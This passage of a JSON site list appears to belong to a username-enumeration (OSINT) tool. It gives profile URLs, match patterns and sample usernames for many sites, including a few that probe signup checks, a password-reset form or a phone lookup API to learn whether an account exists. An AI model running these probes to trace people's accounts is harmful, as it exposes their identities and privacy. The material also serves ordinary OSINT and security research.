Safari/537.36" + }, + "userPage": "https://www.infosecurity-magazine.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xsssql": { + "url": "http://www.xsssql.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.xsssql.com/article/author/%s", + "existUsername": "weblcx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.xsssql.com/article/author/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "studygolang": { + "url": "https://studygolang.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "位会员加入了 Go语言中文网。", + "existRegex": "注册时间", + "url": "https://studygolang.com/user/%s", + "existUsername": "polaris", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://studygolang.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "0x00sec": { + "url": "https://0x00sec.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0x00sec.org/u/%s", + "existUsername": "risklimit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0x00sec.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ruby-china": { + "url": "https://ruby-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ruby-china.org/%s", + "existUsername": "Rei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ruby-china.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "tttang": { + "url": "https://tttang.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found", + "existRegex": "列表", + "url": "https://tttang.com/user/%s", + "existUsername": "巴斯.zznQ", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tttang.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "t00ls": { + "url": "https://www.t00ls.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "Bypass", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.t00ls.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "90sec": { + "url": "https://forum.90sec.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "true", + "existRegex": "false", + "url": "https://forum.90sec.com/u/check_username?username=%s&email=", + "existUsername": "admin05", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://forum.90sec.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "thehackerworld": { + "url": "https://www.thehackerworld.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.thehackerworld.com/profile/%s/", + "existUsername": "1-this-cht", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.thehackerworld.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sspai": { + "url": "https://sspai.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "用户数据不存在", + "existRegex": "id", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug=%s", + "existUsername": "waychane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sspai.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ld246": { + "url": "https://ld246.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found!", + "existRegex": "在线时长", + "url": "https://ld246.com/member/%s", + "existUsername": "hyggge", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ld246.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "qyer": { + "url": "https://bbs.qyer.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "510001", + "url": "https://bbs.qyer.com/qcross/passport/register/mobile/checkname", + "existUsername": "fbird22", + "nonExistUsername": "youga777888", + "body": "username=%s", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + }, + "userPage": "https://bbs.qyer.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jandan": { + "url": "http://jandan.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://jandan.net/p/author/%s", + "existUsername": "Diehard", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://jandan.net/p/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ifanr": { + "url": "https://www.ifanr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "共发表了", + "url": "https://www.ifanr.com/author/%s", + "existUsername": "aifan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.ifanr.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "twle": { + "url": "https://www.twle.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "Member Not Found", + "existRegex": "加入于", + "url": "https://www.twle.cn/member/%s", + "existUsername": "yufei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.twle.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "chouti": { + "url": "https://dig.chouti.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "收到进入热榜消息", + "existRegex": "nickSignInAudit", + "url": "https://dig.chouti.com/users/profile?jid=%s", + "existUsername": "meigancai", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dig.chouti.com/publish/links/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gaoloumi": { + "url": "https://gaoloumi.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "succeed", + "existRegex": "logging", + "url": "https://gaoloumi.cc/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "billy_2009", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gaoloumi.cc/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zol": { + "url": "https://my.zol.com.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "user-namebox", + "url": "https://my.zol.com.cn/%s/", + "existUsername": "lo62ir", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.zol.com.cn/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "producthunt": { + "url": "https://www.producthunt.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.producthunt.com/@%s", + "existUsername": "aaronoleary", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.producthunt.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "yystv": { + "url": "https://www.yystv.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email, phone", + "nonExistRegex": "[20404|20407]", + "url": "https://www.yystv.cn/account/send_forget_passw", + "nonExistUsername": "youga777888", + "body": "name=%s&verify=", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.yystv.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bilibili": { + "url": "https://www.bilibili.com", + "type": "Video", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:space.bilibili.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ichunqiu": { + "url": "https://www.ichunqiu.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.ichunqiu.com.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney": { + "url": "https://www.eastmoney.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatbook": { + "url": "https://x.threatbook.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:x.threatbook.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-zhidao": { + "url": "https://zhidao.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:zhidao.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-tieba": { + "url": "https://tieba.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:tieba.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "anquanke": { + "url": "https://www.anquanke.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.anquanke.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "secpulse": { + "url": "https://www.secpulse.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.secpulse.com%%20%%22%s%%22%%20inurl:author" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "xz": { + "url": "https://xz.aliyun.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:xz.aliyun.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "butian": { + "url": "https://forum.butian.net", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:forum.butian.net%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney-src": { + "url": "https://security.eastmoney.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:security.eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ywhack": { + "url": "https://forum.ywhack.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://forum.ywhack.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "admin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ywhack.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "huoxian": { + "url": "https://zone.huoxian.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "existRegex": "true", + "url": "https://6p9ocl.authing.cn/api/v2/users/find?key=%s&type=phone&userPoolId=61dbe991401e129d640b1da6", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "ttps://zone.huoxian.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "3dnews": { + "url": "http://forum.3dnews.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "stats_mini", + "url": "http://forum.3dnews.ru/member.php?username=%s", + "existUsername": "", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://forum.3dnews.ru/member.php?username=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "7cups": { + "url": "https://www.7cups.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.7cups.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.7cups.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "8tracks": { + "url": "https://8tracks.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This page has vanished", + "url": "https://8tracks.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://8tracks.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "apclips": { + "url": "https://apclips.com/", + "type": "Video", + "isNSFW": true, + "detect": [ + { + "type": "username", + "nonExistRegex": "Amateur Porn Content Creators", + "url": "https://apclips.com/%s", + "existUsername": "onlybbyraq", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://apclips.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "about-me": { + "url": "https://about.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://about.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://about.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "academia-edu": { + "url": "https://www.academia.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://independent.academia.edu/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://independent.academia.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airbit": { + "url": "https://airbit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://airbit.com/%s", + "existUsername": "airbit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://airbit.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airliners": { + "url": "https://www.airliners.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.airliners.net/user/%s/profile/photos", + "existUsername": "yushinlin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.airliners.net/user/%s/profile/photos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "alik-cz": { + "url": "https://www.alik.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.alik.cz/u/%s", + "existUsername": "julian", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.alik.cz/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "amino": { + "url": "https://aminoapps.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://aminoapps.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://aminoapps.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "anilist": { + "url": "https://anilist.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://anilist.co/graphql", + "body": { + "query": "query($id:Int,$name:String){User(id:$id,name:$name){id name previousNames{name updatedAt}avatar{large}bannerImage about isFollowing isFollower donatorTier donatorBadge createdAt moderatorRoles isBlocked bans options{profileColor restrictMessagesToFollowing}mediaListOptions{scoreFormat}statistics{anime{count meanScore standardDeviation minutesWatched episodesWatched genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}manga{count meanScore standardDeviation chaptersRead volumesRead genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}}stats{activityHistory{date amount level}}favourites{anime{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}manga{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}characters{edges{favouriteOrder node{id name{userPreferred}image{large}}}}staff{edges{favouriteOrder node{id name{userPreferred}image{large}}}}studios{edges{favouriteOrder node{id name}}}}}}", + "variables": { + "name": "%s" + } + }, + "existUsername": "Josh", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json;charset=UTF-8" + }, + "userPage": "https://anilist.co/user/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "appledeveloper": { + "url": "https://developer.apple.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://developer.apple.com/forums/profile/%s", + "existUsername": "lio24d", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://developer.apple.com/forums/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "artstation": { + "url": "https://www.artstation.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.artstation.com/%s", + "existUsername": "Blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.artstation.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "asciinema": { + "url": "https://asciinema.org", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://asciinema.org/~%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://asciinema.org/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "askfedora": { + "url": "https://ask.fedoraproject.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ask.fedoraproject.org/u/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ask.fedoraproject.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "audiojungle": { + "url": "https://audiojungle.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://audiojungle.net/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://audiojungle.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "autofrage": { + "url": "https://www.autofrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.autofrage.net/nutzer/%s", + "existUsername": "autofrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.autofrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "blip-fm": { + "url": "https://blip.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blip.fm/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blip.fm/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bandcamp": { + "url": "https://www.bandcamp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bandcamp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bandcamp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "behance": { + "url": "https://www.behance.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.behance.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.behance.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bezuzyteczna": { + "url": "https://bezuzyteczna.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bezuzyteczna.pl/uzytkownicy/%s", + "existUsername": "Jackson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bezuzyteczna.pl/uzytkownicy/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "biggerpockets": { + "url": "https://www.biggerpockets.com/", + "type": "Social", + "isNSFW": false, 